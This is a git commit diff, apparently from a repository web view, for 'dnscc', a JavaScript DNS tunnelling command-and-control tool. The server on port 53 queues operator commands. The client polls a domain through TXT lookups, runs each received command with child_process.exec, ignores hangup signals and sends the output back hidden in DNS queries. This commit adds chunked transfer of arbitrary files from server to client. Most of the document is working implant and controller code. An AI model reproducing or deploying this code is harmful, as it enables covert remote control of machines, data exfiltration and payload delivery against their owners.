diff options
| author | Carson Fleming <cflems@cflems.net> | 2022-07-15 14:21:42 -0700 |
|---|---|---|
| committer | Carson Fleming <cflems@cflems.net> | 2022-07-15 14:21:42 -0700 |
| commit | 8270b494900666231b79762c83ca1cd6a8310438 (patch) | |
| tree | 50856499d627bf38e17f73e93e3c793846c93d9c | |
| parent | 833d3536704e74066633899d48fdfbb06127e31d (diff) | |
| download | dnscc-8270b494900666231b79762c83ca1cd6a8310438.tar.gz | |
Added the ability to tunnel files (including binary files) via the payload command
| -rw-r--r-- | dnscc.js | 98 | ||||
| -rw-r--r-- | dnscli.js | 35 |
2 files changed, 123 insertions, 10 deletions
@@ -1,10 +1,13 @@ const dgram = require('dgram'); const Buffer = require('buffer').Buffer; const readline = require('readline'); +const fs = require('fs'); +const path = require('path'); const host = '0.0.0.0'; const port = 53; const commandQueue = []; +const payloads = []; const length_descending = (a, b) => b.length - a.length; const domains = process.argv.length > 2 ? process.argv.slice(2).sort(length_descending) : []; @@ -190,6 +193,23 @@ sock.on('message', function(req, rinfo) { rl.prompt(true); resp = commandQueue.length > 0 ? commandQueue.shift() : 'nop'; } + + if (resp.startsWith('payload ')) { + const pd = parseInt(resp.substr(8)); + + if (payloads[pd].chunks.length < 1) { + const pdata = payloads[pd].data; + const chunk_max = max_txt; // I have not edge case tested this math + const n_chunks = Math.ceil(pdata.length / chunk_max); + + for (let j = 0; j < n_chunks; j++) { + payloads[pd].chunks[j] = pdata.substr(j*chunk_max, chunk_max); + } + } + + const pobj = payloads[pd]; + resp = 'payload ' + pobj.filename + ' ' + pd + ' ' + pobj.chunks.length; + } } } else { const output = unpack(selector); @@ -198,15 +218,39 @@ sock.on('message', function(req, rinfo) { rl.prompt(true); return; } - console.log(); - if (output === '\xde\xadDONE') { - console.log(); + if (output === '\xde\xadDN') { rl.prompt(true); + resp = 'ok'; + } else if (output === '\xde\xadPD') { + console.log('DONE'); + rl.prompt(true); + resp = 'ok'; + } else if (output.startsWith('\xde\xadPL')) { + const args = output.split(' '); + if (args.length < 3) { + console.log('\n[WARN] Malformed payload chunk request; tampering detected'); + rl.prompt(true); + return; + } + + try { + const pd = parseInt(args[1]); + if (pd > payloads.length) { + console.log('\n[WARN] Request for nonexistent payload; tampering detected'); + rl.prompt(true); + return; + } + const chunknum = parseInt(args[2]); + resp = payloads[pd].chunks[chunknum]; + } catch (e) { + console.log('\n[WARN] Malformed payload chunk request; tampering detected'); + rl.prompt(true); + return; + } } else { - process.stdout.write(output); + console.log(output); + resp = 'ok'; } - - resp = 'ok'; } const responseBuffer = buildResponse(query, i, resp); @@ -266,7 +310,47 @@ const rl = readline.createInterface({ }); rl.on('line', function (cmd) { - commandQueue.push(cmd.trim()); + cmd = cmd.trim(); + if (cmd == 'payload') { + console.log('Usage: payload <filename>|<payload number>'); + console.log('Use "payloads" to see current stored payloads.'); + rl.prompt(); + return; + } else if (cmd == 'payloads') { + console.log('Stored payloads:'); + for (let i = 0; i < payloads.length; i++) { + console.log(i+':', payloads[i].filename); + } + rl.prompt(); + return; + } else if (cmd.startsWith('payload ')) { + const arg = cmd.substr(8); + let pd = parseInt(arg); + if (pd >= payloads.length) { + console.log('A payload with this number does not yet exist.'); + rl.prompt(); + return; + } + if (!Number.isInteger(pd)) { + pd = payloads.length; + try { + const data = fs.readFileSync(arg); + + payloads.push({ + filename: path.basename(arg), + data: data.toString('base64'), + chunks: [], + }); + } catch (e) { + console.log('Could not read file', arg); + rl.prompt(); + return; + } + } + commandQueue.push('payload '+pd); + } else { + commandQueue.push(cmd); + } // rl.prompt(); }); @@ -7,6 +7,8 @@ const NOP_SLEEP_TIME = 1; const dns = require('dns'); const cp = require('child_process'); +const Buffer = require('buffer').Buffer; +const fs = require('fs'); process.on('SIGHUP', function() {}); @@ -28,8 +30,7 @@ function getDNSText(dest) { function system(cmd) { return new Promise(function(resolve, reject) { cp.exec(cmd, function (err, stdout, stderr) { - if (err) reject(err); - else resolve({stdout, stderr}); + resolve({stdout, stderr}); }); }); } @@ -53,6 +54,19 @@ async function event() { for (const record of records) { const rtxt = record.join(''); + + if (rtxt.startsWith('payload ')) { + const args = rtxt.split(' '); + if (args.length < 4) continue; + + const fn = args[1]; + const pd = args[2]; + const chunks = parseInt(args[3]); + + await storePayload(fn, pd, chunks); + continue; + } + let {stdout, stderr} = await system(rtxt); let packets = []; stdout = stdout.trim(); @@ -68,7 +82,7 @@ async function event() { packets = packets.concat(encode(line)); } } - packets = packets.concat(encode('\xde\xadDONE')); + packets = packets.concat(encode('\xde\xadDN')); for (const packet of packets) { await getDNSText(packet + DOMAIN); @@ -76,6 +90,21 @@ async function event() { } } +async function storePayload(name, desc, n_chunks) { + const parallel = []; + for (let i = 0; i < n_chunks; i++) { + const req = encode('\xde\xadPL '+desc+' '+i)[0]; + parallel.push(getDNSText(req + DOMAIN).then(function(records) { + return records.map(r => r.join('')).join(''); + })); + } + const chunks = await Promise.all(parallel); + const buffer = Buffer.from(chunks.join(''), 'base64'); + fs.writeFileSync(name, buffer, {mode: 0o644}); + + await getDNSText(encode('\xde\xadPD')[0] + DOMAIN); +} + function encode(s) { const packets = []; let parcel = ''; |
